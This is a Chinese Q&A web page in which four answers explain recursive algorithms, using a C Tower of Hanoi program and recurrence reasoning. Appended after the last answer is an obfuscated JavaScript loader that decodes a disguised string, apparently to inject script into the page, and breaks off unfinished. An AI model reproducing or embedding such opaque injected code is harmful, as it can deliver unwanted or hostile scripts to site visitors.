什么是递归算法

2025-02-14 03:47:16
推荐回答(4个)
回答1:

递归算法就是一个函数通过不断对自己的调用而求得最终结果的一种思维巧妙但是开销很大的算法。
比如:
汉诺塔的递归算法:
void move(char x,char y){
printf("%c-->%c\n",x,y);
}

void hanoi(int n,char one,char two,char three){
/*将n个盘从one座借助two座,移到three座*/
if(n==1) move(one,three);
else{
hanoi(n-1,one,three,two);
move(one,three);
hanoi(n-1,two,one,three);
}
}

main(){
int n;
printf("input the number of diskes:");
scanf("%d",&n);
printf("The step to moving %3d diskes:\n",n);
hanoi(n,'A','B','C');
}
我说下递归的理解方法
首先:对于递归这一类函数,你不要纠结于他是干什么的,只要知道他的一个模糊功能是什么就行,等于把他想象成一个能实现某项功能的黑盒子,而不去管它的内部操作先,好,我们来看下汉诺塔是怎么样解决的
首先按我上面说的把递归函数想象成某个功能的黑盒子,void hanoi(int n,char one,char two,char three); 这个递归函数的功能是:能将n个由小到大放置的小长方形从one 位置,经过two位置 移动到three位置。那么你的主程序要解决的问题是要将m个的"汉诺块"由A借助B移动到C,根据我们上面说的汉诺塔的功能,我相信傻子也知道在主函数中写道:hanoi(m,A,B,C)就能实现将m个块由A借助B码放到C,对吧?所以,mian函数里面有hanoi(m,'A','C','B');这个调用。
接下来我们看看要实现hannoi的这个功能,hannoi函数应该干些什么?
在hannoi函数里有这么三行
hanoi(n-1,one,three,two);
move(one,three);
hanoi(n-1,two,one,three);
同样以黑盒子的思想看待他,要想把n个块由A经过B搬到C去,是不是可以分为上面三步呢?
这三部是:第一步将除了最后最长的那一块以外的n-1块由one位置经由three搬到two 也就是从A由C搬到B 然后把最下面最长那一块用move函数把他从A直接搬到C 完事后 第三步再次将刚刚的n-1块借助hannoi函数的功能从B由A搬回到C 这样的三步实习了n块由A经过B到C这样一个功能,同样你不用纠结于hanoi函数到底如何实现这个功能的,只要知道他有这么一个神奇的功能就行
最后:递归都有收尾的时候对吧,收尾就是当只有一块的时候汉诺塔怎么个玩法呢?很简单吧,直接把那一块有Amove到C我们就完成了,所以hanoni这个函数最后还要加上 if(n==1)move(one,three);(当只有一块时,直接有Amove到C位置就行)这么一个条件就能实现hanoin函数n>=1时将n个块由A经由B搬到C的完整功能了。
递归这个复杂的思想就是这样简单解决的,呵呵 不知道你看懂没?纯手打,希望能帮你理解递归
总结起来就是不要管递归的具体实现细节步骤,只要知道他的功能是什么,然后利用他自己的功能通过调用他自己去解决自己的功能(好绕口啊,日)最后加上一个极限情况的条件即可,比如上面说的1个的情况。

回答2:

递归算法是把问题转化为规模缩小了的同类问题的子问题。然后递归调用函数(或过程)来表示问题的解。
一个过程(或函数)直接或间接调用自己本身,这种过程(或函数)叫递归过程(或函数)。
递归过程一般通过函数或子过程来实现。递归方法:在函数或子过程的内部,直接或者间接地调用自己的算法。

特点
递归算法是一种直接或者间接地调用自身算法的过程。在计算机编写程序中,递归算法对解决一大类问题是十分有效的,它往往使算法的描述简洁而且易于理解。
递归算法解决问题的特点:
(1) 递归就是在过程或函数里调用自身。
(2) 在使用递归策略时,必须有一个明确的递归结束条件,称为递归出口。
(3) 递归算法解题通常显得很简洁,但递归算法解题的运行效率较低。所以一般不提倡用递归算法设计程序。
(4) 在递归调用的过程当中系统为每一层的返回点、局部量等开辟了栈来存储。递归次数过多容易造成栈溢出等。所以一般不提倡用递归算法设计程序。

要求
递归算法所体现的“重复”一般有三个要求:
一是每次调用在规模上都有所缩小(通常是减半);
二是相邻两次重复之间有紧密的联系,前一次要为后一次做准备(通常前一次的输出就作为后一次的输入);
三是在问题的规模极小时必须用直接给出解答而不再进行递归调用,因而每次递归调用都是有条件的(以规模未达到直接解答的大小为条件),无条件递归调用将会成为死循环而不能正常结束。

参考:http://baike.baidu.com/view/1733593.htm

回答3:

移n个盘是已移n-1个盘为条件的,两者的共同点是移盘。所以可以用f(n)表示移n个盘,f(n-1)表示移n-1个盘,那么移n个盘和移n-1个盘有什么关系呢?

这就需要预先分析问题才能得出具体的关系
在这个问题中,把n个盘从a移到c需要三个步骤来完成。
1.n-1个盘从a移到b
2 1个盘从a移到c
3 n-1个盘从b移到c
已知n-1个盘从a移到b是可行的,为什么?
因为移1个盘是可行,那么移2个盘也是可行,移 3个盘是已移2个盘为条件的,所以移3个盘也是可行的,所以移n个 盘是可行的。
所以根据已知条件可以解得:
设f(n, a, b,c) 表示 把n个盘从a移到c 借助b --------------------------这里很关键,这是搞懂递归的关键关键。
那么把n-1个盘从a移到b 借助c 怎样表示呢?
很明显是:f(n-1, a, c,b)
那么把1个盘从a移到c怎样表示呢?
很明显是:f(1, a, b,c)
那么把n-1个盘从b移到c 借助a 怎样表示呢?
很明显是:f(n-1, b, a,c)

所以f(n, a, b,c) = ( f(n-1, a,c,b) , f(1, a, b,c), f(n-1, b,a,c))
这和等差等比数列一个原理。
没有什么 特别的。

记住是问题有这样递推关系才可以使用这种方法。
如果要你计算1+2+8+22 的结果 你就不能使用递归。
因为该问题的后一步骤与前一步骤不具有规律性,所以已知前一个步骤并不能求的后一个步骤的值
1+2+3+4 ...+ 111111111111111111111111111111
这个问题就可以使用递归
原因你懂了吧。
至于爬楼梯问题,无限级分类 问题等一些递归问题,那不过时小菜一碟。
一句话:后一步骤依赖前一步骤并且二者联系具有规律性,运用递归必然成功。

回答4:

递归算法(英语:recursion algorithm)在计算机科学中是指一种通过重复将问题分解为同类的子问题而解决问题的方法。
递归式方法可以被用于解决很多的计算机科学问题,因此它是计算机科学中十分重要的一个概念。绝大多数编程语言支持函数的自调用,在这些语言中函数可以通过调用自身来进行递归。
计算理论可以证明递归的作用可以完全取代循环,因此在很多函数编程语言(如Scheme)中习惯用递归来实现循环。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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